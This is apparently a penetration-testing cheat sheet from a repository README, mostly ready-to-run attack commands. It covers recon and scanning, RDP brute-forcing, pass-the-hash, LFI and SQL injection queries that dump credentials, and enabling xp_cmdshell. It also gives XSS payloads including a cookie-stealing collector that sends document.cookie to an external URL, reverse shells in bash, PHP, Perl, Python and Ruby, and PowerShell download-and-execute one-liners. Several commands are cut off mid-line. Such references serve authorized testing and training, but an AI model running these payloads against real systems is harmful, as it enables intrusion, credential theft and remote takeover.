

Repo Guide for VAPT

This repo has a collection of snippets of codes and commands for ready reference during VAPT exercise .

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Recon

DNS

Nslookup

Resolve a given hostname to the corresponding IP.

```
nslookup targetorganization.com
```

Reverse DNSlookup

```
nslookup -type=PTR IP_address
```

MX(Mail Exchange)lookup

```
nslookup -type=MX domain
```

ZoneTransfer

Using nslookup Command

```
nslookup  
server domain.com  
ls -d domain.com
```

Using HOST Command

host -t ns(Name Server) < domain >

```
host -t ns domain.com
```

after that test nameservers

host -l < domain > < nameserver >

```
host -l domain.com ns2.domain.com
```

NmapDnsEnumaration

```
nmap -F --dns-server <dns server ip> <target ip range>
```

Auto tools

DNSenum

```
dnsenum targetdomain.com
```

```
dnsenum --target_domain_subs.txt -v -f dns.txt -u a -r targetdomain.com
```

DNSmap

```
targetdomain.com
```

```
dnsmap targetdomain.com -w <Wordlst file.txt>
```

Brute Force, the file is saved in /tmp

```
dnsmap targetdomain.com -r
```

DNSRecon DNS Brute Force

```
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml output.xml
```

Fierce.pl

```
fierce -dns targetdomain.com
```

HostMap

```
hostmap.rb -only-passive -t <IP>
```

We can use -with-zonetransfer or -bruteforce-level

SPF Recon

DigSPFtxt

```
dig txt target.com.
```

Dmarc

```
dig TXT _dmarc.example.org.
```

Online Tools

- <https://tinyurl.com/p3Unrq8>
 - <https://tinyurl.com/2ca73ca4>
 - <https://tinyurl.com/2Gtsvewe>
 - <https://tinyurl.com/yUqaskfr>
-

Nmap

Set the ip address as a variable

```
export ip=192.168.1.100  export netw=192.168.1.0/24
```

Detecting Live Hosts

Only Ip's

```
nmap -sn -n $netw | grep for | cut -d" " -f5
```

Stealth Scan

```
nmap -sS $ip
```

Only Open Ports and Banner Grab

```
nmap -n -Pn -sS $ip --open -sV
```

Stealth scan using FIN Scan

```
nmap -sF $ip
```

Agressive scan

Without Ping scan, no dns resolution, show only open ports all and test All TCP Ports

```
nmap -n -Pn -sS -A $ip --open -p-
```

Nmap verbose scan, runs syn stealth, T4 timing, OS and service version info, traceroute and scripts against services

```
nmap -v -sS -A -T4 $ip
```

OS FigerPrint

```
nmap -O $ip
```

QuickScan

```
nmap -T4 -F $netw
```

QuickScanPlus

```
nmap -sV -T4 -O -F --version-light $netw
```

output to a file

```
nmap -oN nameFile -p 1-65535 -sV -sS -A -T4 $ip
```

output to a file Plus

```
nmap -oA nameFile -p 1-65535 -sV -sS -A -T4 $netw
```

SearchNMAPscripts

```
ls /usr/share/nmap/scripts/ | grep ftp
```

- [Nmap Discovery](#)

NetCat

Port Scanner

One port


```
nc -nvz 192.168.1.23 80
```

Port Range

```
nc -vnz 192.168.1.23 0-1000
```

Send files

- **Server**

```
nc -lvp 1234 > file_name_to_save
```

- **Client**

```
nc -vn 192.168.1.33 1234 < file_to_send
```

Executing remote script

- **Server**

```
nc -lvp 1234 -e ping.sh <IP>
```

- **Client**

```
nc -vn 192.168.1.33 1234
```

Chat with encryption

- Server

```
ncat -nlvp 8000 --ssl
```

- Client

```
ncat -nv 192.168.1.33 8000
```

Banner Grabbing

- Request

```
nc target port  
HTTP_Verb path http/version  
Host: url
```

- Response

```
nc www.bla.com.br 80  
HEAD / HTTP/1.0  
  
Host: www.bla.com.br
```

If this site uses https you need to use openssl

```
openssl s_client -quiet www.bla.com.br:443
```

snmp-check

```
snmp-check -t target_IP | snmp-check -t TARGET -c COMMUNITY
```

```
snmp-check -t 172.20.10.5
```

```
snmp-check -t 172.20.10.5 -c public
```

Automate the username enumeration process for SNMPv3

```
apt-get install snmp snmp-mibs-downloader
```

```
wget https://tinyurl.com/2b4ksqhg
```

NMAP SNMPv3 Enumeration

```
nmap -sV -p 161 --script=snmp-info 172.20.10.0/24
```

Default Credentials

```
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
```

MYSQL

Try remote default Root access

Mysql Open to wild

```
mysql -h Target_ip -u root -p
```

MSSQL

MSSQL Information Gathering

```
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql
```

Web Enumeration

Dirsearch

```
dirsearch -u target.com -e sh,txt,htm,php,cgi,html,pl,bak,old
```

```
dirsearch -u target.com -e sh,txt,htm,php,cgi,html,pl,bak,old -w path/to/wordlist
```

```
dirsearch -u https://tinyurl.com/m8pr7fz -e .
```

dirb

```
dirb https://tinyurl.com/c8pn5 /path/to/wordlist
```

```
dirb https://tinyurl.com/c8pn5 /path/to/wordlist -X .sh,.txt,.htm,.php,.cgi,.html
```

Gobuster

```
gobuster -u https://tinyurl.com/m8pr7fz -w /usr/share/wordlists/dirb/big.txt
```

Exploitation

xfreerdp

Simple User Enumeration for Windows Target (kerberos based)

```
xfreerdp /v:<target_ip> -sec-nla /u:""
```

```
xfreerdp /v:192.168.0.32 -sec-nla /u:""
```

login

```
xfreerdp /u: /g: /p: /v:<target_ip>
```

```
xfreerdp /u:administrator /g:grandbussiness /p:bla /v:192.168.1.34
```

Wordlist based bruteforce

NCRACK

```
ncrack -vv --user/-U <username/username_wordlist> --pass/-P <password/password_wordlist>  
<target_ip>:3389
```

```
ncrack -vv --user user -P wordlist.txt 192.168.0.32:3389
```

Crowbar

```
crowbar -b rdp <-u/-U user/user_wordlist> -c/-C <password/password_wordlist> -s  
<target_ip>/32 -v
```

```
crowbar -b rdp -u user -C password_wordlist -s 192.168.0.16/32 -v
```

Pass the hash

Smb pass the hash

Tool:

[pth-toolkit](#)

Listingsharedfolders

```
sudo pth-smbclient --user= --pw-nt-hash -m smb3 -L <target_ip> \\  
 <target_ip> \
```

```
sudo pth-smbclient --user=user --pw-nt-hash -m smb3 -L 192.168.0.24 \\\\192.168.0.24\\
```

Interactivesmbshell

```
sudo pth-smbclient --user= --pw-nt-hash -m smb3 \\  
 <target_ip> \shared_folder
```

```
sudo pth-smbclient --user=user --pw-nt-hash -m smb3 \\\\192.168.0.24\\folder ljah
```

Web Application

Web Remote code

LFI (Local File Inclusion)

Situation

```
http://<target>/index.php?parameter=value
```

How to Test

```
http://<target>/index.php?parameter=php://filter/convert.base64-encode/resource=i
```

```
http://<target>/script.php?page=../../../../../../../../etc/passwd
```

```
http://<target>/script.php?page=../../../../../../../../boot.ini
```

LFI Payloads

- [Payload All the Things](#)
- [Seclist LFI Intruder](#)

encode

XSS

Reflected

Simple test

This is a simple test to see what happens, this is not a prove that the field is vuln to xss

```
<plaintext>
```

Simple XSS test

```
<script>alert('Found')</script>
```

```
"><script>alert(Found)</script>">
```

```
<script>alert(String.fromCharCode(88,83,83))</script>
```

Bypass filter of tag script

```
" onload="alert(String.fromCharCode(88,83,83))
```

```
" onload="alert('XSS')
```

bla is not a valid image, so this cause an error

```
<img src='bla' onerror=alert("XSS")>
```

Persistent

```
>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visib
```

PHP collector

```
> cookie.txt  chmod 777 cookie.txt
```

edit a php page like colector.php as follow:

```
<?php
    $cookie=GET['cookie'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $file=fopen('cookie.txt', 'a');
    fwrite($file,"USER AGENT:$useragent || COOKIE=$cookie\n");
    fclose($file);
?>
```

Script to put in page:

```
<script>new Image().src="https://tinyurl.com/26p5b353"+document.cookie;</script>
```

Malware Donwloader via XSS

```
<iframe src="https://tinyurl.com/2dkgv9u3" height="0" width="0"></iframe>
```

How to play Mario with XSS

```
<iframe
    src="https://tinyurl.com/z8wdr6j"
    width="100%"
    height="600"
></iframe>
```

```
<input    onfocus="document.body.innerHTML=atob('PGlmcmFtZSBzcmM9Imh0dHBzOi8vamN3ODc
```

XSS payloads

- [Payload All The Things](#)
- [Seclist XSS](#)

SQLI

Sql Injection

Sqlmap

GET

Error-Based

Simple test

Adding a simple quote '

Example:

<https://tinyurl.com/23g49n5u>

List databases

```
./sqlmap.py -u https://tinyurl.com/288tcptb --dbs
```

List tables

```
./sqlmap.py -u https://tinyurl.com/288tcptb -D database_name --tables
```

List columns

```
./sqlmap.py -u https://tinyurl.com/288tcptb -D database_name -T table_name --colu
```

Dump all

```
./sqlmap.py -u https://tinyurl.com/288tcptb -D database_name -T table_name --dump
```

Set Cookie

```
./sqlmap.py -u https://tinyurl.com/2544qtmx --cookie "Cookie: OV1364928461=6kb5jv"
```

Checking Privileges

```
./sqlmap.py -u https://tinyurl.com/288tcptb --privileges | grep FILE
```

Reading file

```
./sqlmap.py -u <URL> --file-read=<file to read>
```

```
./sqlmap.py -u https://tinyurl.com/288tcptb --file-read=/etc/passwd
```

Writing file

```
./sqlmap.py -u <url> --file-write=<file> --file-dest=<path>
```

```
./sqlmap.py -u https://tinyurl.com/288tcptb --file-write=shell.php --file-dest=/v
```

POST

```
./sqlmap.py -u <POST-URL> --data="<POST-paramters> "
```

```
./sqlmap.py -u https://tinyurl.com/23pzhdrj --data "uname=teste&passwd=&submit=Su
```

You can also use a file like with the post request:

```
./sqlmap.py -r post-request.txt -p uname
```

Bare Hands

GET

Error-Based

Simple test

Adding a simple quote '

Fuzzing

Sorting columns to find maximum column

`https://tinyurl.com/22yw43tj order by 1`

`https://tinyurl.com/22yw43tj order by 2`

`https://tinyurl.com/22yw43tj order by 3 (until it stop
returning errors)`

Finding what column is injectable

mysql

`https://tinyurl.com/22yw43tj union select 1, 2, 3`

(using the same amount of columns you got on the previous step)

postgresql

`https://tinyurl.com/22yw43tj union select NULL, NULL, NULL (using the same`

amount of columns you got on the previous step) one of the columns

will be printed with the respective number

Finding version

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, version()
```

postgres

```
https://tinyurl.com/22yw43tj union select NULL, NULL, version()
```

Finding database name

mysql

```
https://tinyurl.com/22yw43tj union select 1,2, database()
```

postgres

```
https://tinyurl.com/22yw43tj union select NULL,NULL, database()
```

Finding usernames logged in

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, current_user()
```

Finding databases

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, schema_name from  
information_schema.schemata
```

postgres

```
https://tinyurl.com/22yw43tj union select 1, 2, datname from pg_database
```

Finding table names from a database

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, table_name from information_schem
```

postgres

```
https://tinyurl.com/22yw43tj union select 1, 2, tablename from pg_tables where ta
```

Finding column names from a table

mysql

```
https://tinyurl.com/22yw43tj union select 1, 2, column_name from information_sche
```

postgres

```
https://tinyurl.com/22yw43tj union select 1, 2, column_name from information_sche
```

Concatenate

Example:

```
https://tinyurl.com/22yw43tj union select 1, 2, login from users;  
https://tinyurl.com/22yw43tj union select 1, 2, password from users;
```

in one query

```
https://tinyurl.com/22yw43tj union select 1, 2, concat(login,':',password) from  
users; mysql https://tinyurl.com/22yw43tj union select 1, 2, login||':'||password  
from users; postgres
```

ErrorBasedSQLI(USUALLYMS-SQL)

Current user

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(user_name() as  
varchar(4096)))--
```

DBMS version

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(@@version as  
varchar(4096)))--
```

Database name

```
https://tinyurl.com/22yw43tj or db_name(0)=0 --
```

Tables from a database

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(name as varchar(4096))  
FROM dbname..sysobjects where xtype='U')--
```

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(name as varchar(4096))
FROM dbname..sysobjects where xtype='U' AND name NOT IN
('previouslyFoundTable',...))--
```

Columns within a table

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as
varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE
dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name =
'tablename')--
```

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as
varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE
dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name =
'tablename' AND dbname..syscolumns.name NOT IN('previously found column name',
...))--
```

Actual data

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(columnName as
varchar(4096)) FROM tablename)--
```

after each iteration a new column name will be found, make sure add it to **** previously found column name **** separated by comma as on the next sample

```
https://tinyurl.com/22yw43tj or 1 in (SELECT TOP 1 CAST(columnName as
varchar(4096)) FROM tablename AND name NOT IN('previously found row data'))--
```

Shell commands

```
EXEC master..xp_cmdshell <command>
```

you need yo be 'sa' user

Enabling shell commands

```
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure
'xp_shell', 1; RECONFIGURE;
```

Jenkins

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Tiny Reverse Shell

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.9.36.167/1337 0>&1'");
```

Perl Reverse Shell

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotoby
```

Python Reverse Shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
```

Ruby Reverse Shell

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
```

Bash Reverse Shell

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

Powershell Reverse Shell

Linux

Transferring Files Without Metasploit

Powershell

Download files with powershell

```
powershell -c "Invoke-WebRequest -uri 'http://Your-IP:Your-Port/winPEAS.bat' -Out
```

```
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-por
```

```
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shel
```

Creating a server with python3

```
python -m http.server
```

Creating a server with python2

```
python -m SimpleHTTPServer 80
```

FTP

You need to create a FTP server

- Server Linux Allow anonymous

```
python -m pyftplib -p 21 -u anonymous -P anonymous
```

- Windows Client

```
ftp  
open target_ip port  
open 192.168.1.22 21
```

we can simply run `ftp -s:ftp_commands.txt` and we can download a file with no user interaction.

like this:

```
C:\Users\kitsunsec\Desktop>echo open 10.9.122.8>ftp_commands.txt  
C:\Users\kitsunsec\Desktop>echo anonymous>>ftp_commands.txt  
C:\Users\kitsunsec\Desktop>echo whatever>>ftp_commands.txt  
C:\Users\kitsunsec\Desktop>ftp -s:ftp_commands.txt
```

Apache Server

- server Put your files into `/var/www/html`


```
cp nc.exe /var/www/html
systemctl start apache2
```

- client

Get via web browser, wget or powershell...

HTTP/HTTPS Servers

HTTPS using Python

Create the Certificate:

```
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
```

Start the HTTPS Server

```
import BaseHTTPServer, SimpleHTTPServer
import ssl
```

```
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRe
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_sid
httpd.serve_forever()
```

Wordlists

- Wordlists
 - [PacketStorm](#)
 - [SecList](#)
 - [cotse](#)

- Default Password
 - [DefaultPassword](#)
 - [RouterPassword](#)
 - Leak
 - [Pastebin](#)
 - Tables
 - [RainbowCrack](#)
-